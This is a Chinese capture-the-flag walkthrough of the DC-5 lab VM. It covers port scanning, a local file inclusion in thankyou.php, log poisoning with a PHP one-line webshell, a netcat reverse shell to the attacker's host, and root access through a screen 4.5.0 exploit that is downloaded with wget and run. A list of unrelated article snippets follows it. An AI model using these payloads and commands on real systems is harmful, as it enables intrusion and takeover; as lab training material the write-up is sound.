DC系列靶场---DC 5靶场的渗透测试

news2024/11/16 15:48:18

DC-5渗透测试

信息收集

地址探测

使用arp-scan对目标主机进行地址探测

arp-scan -l -I eth0

目标主机IP地址为172.30.1.132

Nmap扫描

使用Nmap对目标主机进行端口扫描

nmap -sS -sV -T4 -p- -O 172.30.1.132

//-sS  Nmap默认扫描类型,SYS的秘密扫描

//-sV  服务版本检测

//-T4  野蛮扫描(常用)

//-p-  对所有端口进行扫描

//-O   识别操作系统类型 (大O)

目标主机只开放了80端口,所以我们突破点就在80。

目录枚举

使用dirbuster进行目录枚举,dirbuster中自带有字典

选择Results-Tree Vlew模块可以到网站目录的架构

这里看到一个footer.php,这是一个网站页脚的程序文件。

还看到contact.php,这个是网站的留言板,也就是网站交互式的地方。

HTTP探测

在访问目标主机的网站没有思路时,可以看一下网站的架构

随便编写提交看一下有什么不一样的地方。

提交后重定向到thankyou.php的文件中,随着不断刷新,看到页脚的版本在发生改变,这个就是文件包含漏洞啦

直接访问thankyou.php的效果也是一样的,也就是thinkyou.php调用了footer.php

形式为:http;//172.30.1.132/thanyou.php?file=footer.php

我们可以验证下一是否存在文件包含漏洞呢?

看到是可以看到目标主机的账户文件的。

漏洞查找及利用

文件包含

文件包含漏洞:

文件包含漏洞通常出现在编写糟糕的PHP web应用程序中,其中输入参数没有得到正确的处理或验证。

因此,攻击者很容易捕获传递的HTTP请求,操纵URL参数,该参数接受文件名并将恶意文件包含在web服务器中。

原理:

服务器执行PHP文件时,可以通过文件包含函数加载另外一个文件(参数),另外一个文件中的PHP代码就会被执行,

这是在Web开发时,代码常用的一种处理方法。

利用日志GET到SHELL

对根目录的请求包写入一句话木马,看到响应码是400,不用管

<?php system(&_GET['cmd']) ;?>

DC-5使用的是nginx,默认日志路径/var/log/nginx/access/log

写入后访问是可以看到的,如果看不到就是访问次数过多,日志文件可能满了。

我们可以通过&进行传参到CMD执行系统命令。

查看目标主机是否有nc,看到这里是有的。

/thankyou.php?file=/var/log/nginx/access.log&cmd=which nc

获取shell

使用nc获取shell

Kali主机做侦听

nc -lnvp 4444

目标主机主动连接kali

/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -nv 172.30.1.20 4444 -c /bin/bash

提权

信息收集

查看系统账户文件

cat /etc/passwd

没有什么有用的信息

查看SUID权限的文件

find / -perm -4000 -type f 2>/dev/null

这里有一个/bin/screen-4.5.0的文件。

使用searchsploit搜索提权漏洞

searchsploit screen 4.5.0

提权

将漏洞文件镜像到本地主机

searchsploit -m 41154

dos2unix命令用来将DOS格式的文本文件转换成UNIX格式的(DOS/MAC to UNIX text file format converter)。DOS下的文本文件是以\r\n作为断行标志的,表示成十六进制就是0D 0A。而Unix下的文本文件是以\n作为断行标志的,表示成十六进制就是0A。DOS格式的文本文件在Linux底下,用较低版本的vi打开时行尾会显示^M,而且很多命令都无法很好的处理这种格式的文件,如果是个shell脚本,。而Unix格式的文本文件在Windows下用Notepad打开时会拼在一起显示。因此产生了两种格式文件相互转换的需求,对应的将UNIX格式文本文件转成成DOS格式的是unix2dos命令。

run.sh格式转换,每个操作系统以字符表示结尾的时候是不同的,查看脚本文件若每行结尾为 ^M

则需要使用命令 dos2unix run.sh 将其转换一下

提权参考

cp 41154.sh run.sh

dos2unix run.sh

使用python搭建一个简易Web服务器

python -m http.server 5555

使用wget下载脚本文件

wget -c 172.30.1.20:5555/run.sh

给该脚本添加执行权

chmod 777 run.sh

运行脚本

www-data@dc-5:/tmp$ ./run.sh
./run.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.


获取flag

总结

1、DC-5是存在文件包含漏洞,通常出现在PHP Web应用程序中。

2、文件包含漏洞存在的原因,输入参数没有得到正确的处理或验证。

3、文件包含漏洞的原理,服务器执行PHP文件时,可以通过文件包含函数加载另外一个文件        (参数),另外一个文件中的PHP代码就会被执行。

4、通过文件包含漏洞可以查看Linux系统的敏感文件

5、文件包含分为两类:

本地文件包含(Local File Inclusion,LFI)当被包含的文件在服务器本地时,就形成本地文件包含


远程文件包含(Remote File Inclusion,RFI)当被包含的文件在第三方服务器时,叫做远程文件包含(前提:开启了PHP配置中的allow_url_fopen选项)

6、Nginx默认日志文件/var/log/nginx/access.log

7、文件包含漏洞:通过GET请求写入一句话木马 通过日志获取shell                                                查看系统SUID的权限,获得提权

8、PHP中文件包含函数有以下四种:

    require()

    require_once()

    include()

    include_once()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1984079.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

可用性测试:提升用户体验的关键

目录 前言1. 可用性测试的概念1.1 可用性测试的特点1.2 可用性测试的类型 2. 可用性测试的主要作用2.1 发现用户需求2.2 识别可用性问题2.3 提高用户满意度 3. 可用性测试在整个测试过程中的地位3.1 可用性测试与功能测试的关系3.2 可用性测试与性能测试的关系3.3 可用性测试与…

Java | Leetcode Java题解之第326题3的幂

题目&#xff1a; 题解&#xff1a; class Solution {public boolean isPowerOfThree(int n) {return n > 0 && 1162261467 % n 0;} }

鸿蒙(API 12 Beta2版)NDK开发【HarmonyOS ABI】硬件兼容性

HarmonyOS系统支持丰富的设备形态&#xff0c;支持多种架构指令集&#xff0c;支持多种操作系统内核&#xff1b;为了应用在各种HarmonyOS设备上的兼容性&#xff0c;本文定义了"OHOS" ABI&#xff08;Application Binary Interface&#xff09;的基础标准&#xff0…

《Milvus Cloud向量数据库指南》——高可用黄金标准:深入解析与业务策略考量

高可用黄金标准:深入解析与业务策略考量 在信息技术飞速发展的今天,高可用性(High Availability, HA)已成为衡量企业IT系统性能与稳定性的关键指标之一。它不仅仅关乎技术层面的优化与配置,更是企业保障业务连续性、提升客户体验、增强市场竞争力的重要基石。尽管高可用性…

基于Java中的SSM框架实现在线音乐网站系统项目【项目源码+论文说明】

基于Java中的SSM框架实现在线音乐网站系统演示 摘要 本文讲述了使用JSP语言及HTML5语言及MySql数据库技术开发的音乐网站的设计与实现。本文所讲的JSP音乐系统是通过所学的知识创办一个类似于QQ音乐或者酷狗音乐性质的网站平台&#xff0c;使所有对国内外音乐欣赏感兴趣的人都…

未授权访问漏洞合集

今天我们来开一个新的坑&#xff0c;未授权访问漏洞&#xff0c;以后我会慢慢更新&#xff0c;大家可以持续跟进一下&#xff0c;谢谢大家&#xff01; 未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷&#xff0c;导致其他用户可以直接访问&#xff0c;从…

卷积神经网络 - 结构化输出篇

序言 卷积神经网络&#xff08; CNN \text{CNN} CNN&#xff09;作为深度学习领域的重要分支&#xff0c;凭借其强大的特征提取与学习能力&#xff0c;在图像和视频处理领域取得了显著成就。其结构化输出的特性&#xff0c;更是为复杂任务的解决提供了有力支持。本文旨在简要概…

高德地图API-批量获取位置信息的经纬度

我们会遇到一些需要批量把地址数据转换成坐标的问题&#xff0c;一个个查的话通常会比较麻烦&#xff0c;那有没有比较方便的方法呢&#xff0c;我们可以利用高德的地理编码/逆地理编码 API功能&#xff0c; 通过 HTTP/HTTPS 协议访问远程服务的接口&#xff0c;提供结构化地址…

渗透课程练习

第一步进入网站软件&#xff0c;启动Apache和Mysql&#xff0c;这里出了点小插曲&#xff0c;电脑自身的mysl如果没有停止运行就无法启动mysql&#xff0c;找到“服务”后进入寻找mysql停止运行。 第一关 get传参浏览器中输入&#xff1f;id1 创建价格表 修改php的文件后重新输…

MySQL 5.7使用 GTID 和 Binlog高可用方案

文章目录 介绍GTID和Binlog的关系GTID&#xff08;Global Transaction ID&#xff09;Binlog&#xff08;二进制日志&#xff09; MySQL5.7基于yum搭建安装 MySQL初始化并设置远程登录密码 配置基于GTID的复制模式第一台主服务器配置主服务器配置启动从服务 第二台主服务器配置…

【Linux学习】文件系统 - 第三篇

&#x1f351;个人主页&#xff1a;Jupiter. &#x1f680; 所属专栏&#xff1a;Linux从入门到进阶 欢迎大家点赞收藏评论&#x1f60a; 目录 &#x1f985;重定向原理以及实现&#x1f431;dup2系统调用实现重定向。&#x1f388;dup2 系统调用&#x1f351;在自定义shell中实…

MM 10 -采购- 标准采购订单

思维导图 说明 采购订单页面介绍 抬头 支付、开票&#xff1a; 付款条件 文本&#xff1a; 机构数据&#xff1a; 其余sheet不常用 行项目 物料 数量 交货日期 价格 &#xff1a;信息记录带出来 工厂 行项目明细 物料 供应商物料号 供应商子范围&#xff1a; 批次&a…

PXE安装配置(rhel7)

实验需求&#xff1a; rhel7 虚拟机 所需软件安装&#xff1a; sudo yum install -y dhcp tftp-server httpd syslinux system-config-kickstart 启动&#xff1a; system-config-kickstart 制作ks文件 注意&#xff1a;File----Save保存一下 打开root下的ks.cfg在分区信…

python:将 NWPU_VHR-10 遥感目标检测数据集转换成 YOLO 格式

作者&#xff1a;CSDN _养乐多_ 本文将介绍将 NWPU_VHR-10 遥感目标检测数据集转换成 YOLO 格式的 python 脚本。 文章目录 一、数据集介绍1.1 数据集下载1.2 数据集介绍1.3 数据格式 二、格式转换三、完整代码 一、数据集介绍 1.1 数据集下载 https://opendatalab.com/Ope…

GRU门控循环单元【数学+图解】

文章目录 1、简介2、门控机制3、公式4、图解GRU4.1、重置门和更新门4.2、候选隐藏状态和隐藏状态⭐ 5、LSTM与GRU的对比6、应用7、训练技巧 &#x1f343;作者介绍&#xff1a;双非本科大三网络工程专业在读&#xff0c;阿里云专家博主&#xff0c;专注于Java领域学习&#xff…

MATLAB车道线检测系统

研究了汽车辅助驾驶系统中的计算机视觉问题 . 一方面 , 用小波变换对高速公路上的道路边缘进行检测 ; 另一方面 , 利用灰度以及几何特征实时跟踪和检测车道边缘 , 通过建立道路边缘模型 , 采用数据拟合的方法确定边界轨迹方程 , 从而估算出公路的延伸方向 , 实现汽车的自动防偏…

信号链直流误差

1 简介 在信号链中&#xff0c;可能会累积的误差有两类&#xff1a;直流和交流误差。直流或静态误差&#xff08;如增益和失调误差&#xff09;有助于了解信号链的精度或灵敏度。交流类误差也称为噪声和失真&#xff0c;限制着系统的性能和动态范围。这两类误差都需要了解&…

js中的ajax【Axios,XMLHttpRequest,Promise,async】回调函数地狱等问题

目录 前置知识 1.什么是异步请求&#xff1f; 2.什么是回调函数 3.如何查看网页的异步请求&#xff08;XHR&#xff09;&#xff1f; 4.什么是ajax jquery的ajax&#xff0c;xhr&#xff0c;axios关系 正文---几种请求之间的关系 axios Axios的诞生 Axios的介绍 定义…

同城交易小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;商家管理&#xff0c;用户管理&#xff0c;商品分类管理&#xff0c;商品信息管理&#xff0c;订单管理&#xff0c;系统管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;商品信息&#xff0…

2024年“华数杯”数学建模竞赛C题完整解析 | 代码与论文分享

C题 技术文档&#xff08;论文&#xff09;数据预处理问题一问题二问题三问题四 数据与代码问题一问题二问题三问题四 技术文档&#xff08;论文&#xff09; 29页&#xff0c;1w字&#xff0c;完整论文请看文章最后~ 数据预处理 &#xff08;1&#xff09;利用python对数据文件…